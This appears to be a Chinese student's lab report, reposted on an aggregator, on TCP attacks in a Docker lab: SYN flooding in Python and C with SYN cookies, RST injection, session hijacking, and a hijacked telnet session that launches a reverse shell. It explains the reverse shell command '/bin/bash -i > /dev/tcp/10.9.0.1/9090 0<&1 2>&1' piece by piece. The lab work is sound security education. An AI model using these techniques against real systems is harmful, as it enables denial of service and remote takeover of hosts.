TCP攻击实验

news/2025/1/18 15:44:08/文章来源:https://www.cnblogs.com/wxrwajiez/p/18516133

 

 

 

作业题目

本实验的学习目标是让学生获得有关漏洞以及针对这些漏洞的攻击的第一手经验。聪明人从错误中学习。在安全教育中,我们研究导致软件漏洞的错误。研究过去的错误不仅有助于学生理解为什么系统容易受到攻击,为什么“看似良性”的错误会变成灾难,以及为什么需要许多安全机制。更重要的是,它还帮助学生了解漏洞的常见模式,从而避免将来犯类似的错误。此外,使用漏洞作为案例研究,学生可以学习安全设计、安全编程和安全测试的原则。

TCP/IP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏洞;它们提供了一个宝贵的教训,说明了为什么安全性应该从一开始就设计好,而不是事后才加上。此外,研究这些漏洞有助于学生了解网络安全的挑战以及为什么需要许多网络安全措施。在本实验中,学生将对TCP进行几个攻击。本实验涵盖以下主题:

  • TCP协议
  • TCP SYN洪水攻击和SYN cookie
  • TCP重置攻击
  • TCP会话劫持攻击
  • 反向Shell

实验步骤及结果

Lab Environment

实验使用docker创建三个容器充当三个主机(Host A, Host B, Host C),这三个主机和本虚拟机(攻击者)在同一个局域网中。

首先删除之前创建的docker:

1.1

然后创建docker,开启docker:

1.2

三台主机成功开启。

1.3

Task 1: SYN Flooding Attack

SYN泛洪攻击是一种Dos攻击,攻击者向服务器发送大量的TCP连接请求(初始SYN包),但不完整完成三次握手。

当服务器收到初始SYN包时,会使用一个叫作传输控制块(TCB)的特殊数据结构来存储信息,TCB被放在只用于存放半打开连接的队列中,在完成连接之前,TCB不会被丢弃(除了超时和收到RST)。这个队列的大小是有限的,如果攻击者快速填满这个队列,服务器就没有空间存储TCB,也就没有任何人可以连接这个服务器了。

Task 1.1: Launching the Attack Using Python

目的: 完成对Host A telnet远程连接服务的SYN泛洪攻击。

分析实验的示例代码:

2.1

代码设置tcp标志位为S。

随机产生32个bit,作为数据包IP头的随机IP地址(IP相同,攻击容易被防火墙屏蔽),再随机生成端口号和序列号(客户端没有注册端口号,初始化连接时端口好和序列号都是随机的)设置为数据包TCP头的端口号和序列号。 最后不停发送SYN包到被攻击服务器。

在示例代码的基础上,我们只需要完善被攻击服务器的IP和端口号。

我们攻击Host A的telnet服务器,设置dst=10.9.0.5,dport=23.

2.2

查看服务器TCB队列的最大值:

3.1

检查当前队列的使用情况:

3.2

没有半打开连接(SYN_RECV)。

开始SYN泛洪攻击:

3.3

一段时间后,用本虚拟机尝试远程连接Host A:

4.2

还是可以连接。

再次查看服务器中半打开连接的状态:

4.1

队列中充满了半打开连接。

结合实验文档中的内容:SYN Cookie被禁用后,TCP为“已验证的目的地”保留四分之一的积压队列,猜想是因为在攻击之前本虚拟机已经和Host A连接过,虚拟机IP被Host A记住。

查看Host A缓存:

4.3

发现确实如此。

清除缓存:

4.4

重新攻击:

3.3

远程连接Host A,还是不行。

把服务器队列改小:

5.1

再次攻击,远程连接Host A:

5.2

连接失败,攻击成功。

Task 1.2: Launch the Attack Using C

目的:用C代码实现上诉功能。

编写代码synflood.c:

根据上次实验的经验,创建ipheader,tcpheader实现类型转换,方便通过字段名对数据包头部的域进行访问。

2.1 2.2

创建pseudo_tcp模拟TCP协议的一部分:

2.3

在缓存中创建数据包,填写tcp头和ip头,用calculate_tcp_checksum()计算tcp校验和:

3.1

calculate_tcp_checksum()的实现:

3.3

3.2

最后用send_raw_ip_packet()发送SYN包:

3.4

将队列大小改为原来的大小:

1.4

编译代码并执行:

1.1

1.2

攻击成功:

1.3

Task 1.3: Enable the SYN Cookie Countermeasure

目的:开启SYN cookies保护机制再次攻击比较结果。

开启SYN cookies保护机制:

4.1

再次攻击:

1.2

攻击未成功:

4.4

SYN cookies机制的思想是,服务器在收到SYN包时不把它放入班打开连接队列,这样就不会有队列满了的风险,同时利用TCP初始序列号生成哈希值作为返回给客户端的初始序列号,避免ACK泛洪攻击。

Task 2: TCP RST Attacks on telnet Connections

目的:利用TCP RST攻击终止两个受害者之间已建立的TCP连接。

在建立TCP连接后,一方只需要发送一个TCP RST包给对方,连接就会立刻中断。攻击者利用这一点,冒充一方发送RST包中断他们之间的TCP连接就是TCP RST攻击。

每个TCP连接都由一个四元组唯一标识:源IP,源端口,目的IP,目的端口,伪造的数据包这四个域必须要和连接中使用的一样;伪造数据包的序列号必须要正确(在接收方窗口内),不然会被丢弃。

可以通过嗅探来得到正确的序列号。

用本虚拟机连接10.9.0.5,同时用wireshark抓包:

6.1

6.2

最后一个包从本虚拟机发向Host A,源端口是57032,下一个序列号是

编写代码rst.py:

6.3

代码伪造RST数据包从本虚拟机发送到Host A。

执行程序:

5.1

连接被中断:

6.4

查看wireshark:

6.5

发现,本虚拟机发送了一个RST包到Host A。

Task 3: TCP Session Hijacking

目的:在两台计算机之间劫持一个远程网络会话,让telnet服务器从攻击者处运行恶意命令。

TCP会话劫持攻击是通过向该会话中注入恶意内容来劫持两个受害者之间的现有TCP连接。

会话劫持需要知道唯一标识TCP连接的四元组,包的序列号以及确认号。

所以,连接Host A找到从客户端发往服务器端的最后一个telnet数据包。

8.1

编写代码session.py:

9.4

TCP的有效载荷就是攻击者想要服务器端运行的命令。

用data设置TCP有效载荷为恶意命令(这里用echo This is bad code\n\0代替)。

执行程序:

9.3

成功劫持:

9.2

9.5

输入内容不会有任何响应,本虚拟机和Host A之间有很多重传包,10.9.0.1的远程连接终端已经锁死。

这是因为攻击者注入的数据打乱了虚拟机和Host A之间的序列号。Host A回复欺骗包,但对虚拟机来说,还没有到这个序列号,就会丢弃这个回复包,也不会确认,没有被确认,Host A就会一直重传;在虚拟机的telnet程序中输入内容时,因为序列号已经被欺骗包使用,所以Host A会认为这是重复数据而不理睬。

Task 4: Creating Reverse Shell using TCP Session Hijacking

目的:通过会话劫持攻击运行反向shell。

反向shell是一个在远程机器上运行的shell进程,它可以从攻击者端得到输入,并把输出交给攻击者端。

Shell程序在Host A运行,使用的是本地的输入输出设备,为了控制shell程序,我们要让shell程序使用我们控制的输入输出设备。

可以使用TCP伪设备进行shell的输入输出。

远程连接Host A,用wireshark抓包:

1.31.1

编写代码rshell.py:

data是我们创建反向shell的指令。

/bin/bash -i:在Host A创建一个允许用户实时互动的shell。

> /dev/tcp/10.9.0.1/9090:改shell的标准输出,将输出重定向到一个叫做/dev/tcp/10.9.0.1/9090的文件,这不是一个真实的文件,而是/dev中的虚拟文件,意味着数据会发送到10.9.0.1(本虚拟机)的9090端口。

所以,我们监听本虚拟机的9090端口:

1.6

0<&1:使用文件描述符1作为输入设备。

2>&1:重定向标准错误设备到文件描述符1。

执行代码:

1.7

成功劫持会话:

1.4

成功创建反向shell:

1.8


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824208.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

环境变量与set-uid实验

作业题目 本实验室的学习目标是让学生了解环境变量如何影响程序以及系统行为。环境变量是一组动态命名值,可以影响正在运行的进程将在计算机上运行。大多数操作系统都使用它们,因为它们是1979年引入Unix。尽管环境变量会影响程序行为,但它们是如何实现的这一点很多程序员都不…

XSS攻击实验(Elgg)

作业题目 跨站点脚本(XSS)是一种常见于web应用程序中的计算机安全漏洞。此漏洞使攻击者有可能将恶意代码(如JavaScripts)注入受害者的web浏览器。 为了演示攻击者可以做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。我们已经注释掉了Elgg的一些…

USB E-Maker用途

E-Marker 是“Electronically Marked Cable”的缩写,是封装在 USB-C端口中的芯片。通过这个芯片,可以得到电缆的各种参数,包括功率、数据、视频传输、ID等信息。由于 Type-C 设备之间的功能差异很大,因此在决策过程中考虑电缆至关重要。例如,如果源和接收设备都需要 100W …

ENVI6.1新功能

ENVI 6.1于2024年10月正式发布,ENVI6.1此版本包括以下新增功能和改进功能:添加了对新的数据类型的支持 空间和光谱裁剪功能增强 新的基于BandMax和SAM的目标探测工作流工具 ENVI API和Modeler中增强的光谱处理 新的光谱指数 新的黑暗模式主题 新增和更新ENVI Toolbox工具 新增…

制作游戏加载进度条

首先,我们需要有一个背景进度条,然后在背景下面添加显示百分比的进度条图片,再创建一个Text,用于显示具体的百分比数字 大致结构如下:然后就是通过代码实现这个功能了:[SerializeField] private Image ProcessBar; [SerializeField] private Text ProcessText; private f…

【Unity】Addressables下的图集(SpriteAtlas)内存优化

前言:资源管理系统:AddressablesUI:模拟NGUI图集Sprite,在UGUI下继承Image增加UIImage组件,实现将SpriteAtlas组件拖拽到属性面板上,切换选择里面的小图问题:在检查项目内存占用过高问题时,发现直接拖拽上去的资源不受Addressables系统的自动引用管理,导致部分资源虽然…

O(∩_∩)O哈哈~

本文来自博客园,作者:一石数字欠我15w!!!,转载请注明原文链接:https://www.cnblogs.com/52-qq/p/18516047

我用这个 AI 工具生成单元测试,简直不要太爽!

本文分享如何使用驭码CodeRider 的单元测试功能生成单元测试文件。 在之前的文章如何用 Python 手撸一个 GitLab 代码安全审查工具?中,我用 Python 写了一个接受极狐GitLab 代码安全审计事件流并且将消息推送到钉钉群的脚本,完整的 python 代码为:from fastapi import Fast…

Ansible原理和安装

一.概念 简介 Ansible是一个IT自动化工具。它能配置系统、部署软件、编排更复杂的IT任务,如连续部署或零停机时间滚动更新。连接其他主机(管理节点)默认使用ssh协议 特性 Agentless:不需要在被管理节点上安装客户端,只要有sshd即可Serverless:在服务端不需要启动任何服务,…

明火识别视频分析服务器区域入侵智慧园区安防视频监控及动态布控预警方案

智慧园区安防视频监控及动态布控预警方案是一种综合性的安全管理解决方案,它通过结合视频监控技术、人工智能算法、大数据分析等技术,实现视频分析服务器对工厂区域内人、车、物的全面监控和管理。一、需求和目标系统建设目标:搭建重点部位人脸识别动态布控系统平台,建立动…

四、常用寄存器

DS:内存段地址寄存器 段地址、偏移地址与物理地址内存中数据的地址由段地址和偏移地址组成,其中段地址乘以16再加上偏移地址就是真实的物理地址。对于16进制的数来说,乘以十六就是整体向左移一位,例如:0xFE * 16 = 0xFE0物理地址可以由多种段地址+偏移地址组合而成例如物理…

HTTPS 加密方式

1. HTTP 和 HTTPSHTTP是明文传输,敏感信息容易被中间劫持。 HTTPS = HTTP + 加密,即使传输的数据被劫持了也无法解密。 2. 加密方式:对称加密,非对称加密 对称加密 用同一个key加密解密。 非对称加密 一对key(公钥私钥),公钥加密,私钥解密(or反过来)。 具体实现: 1.…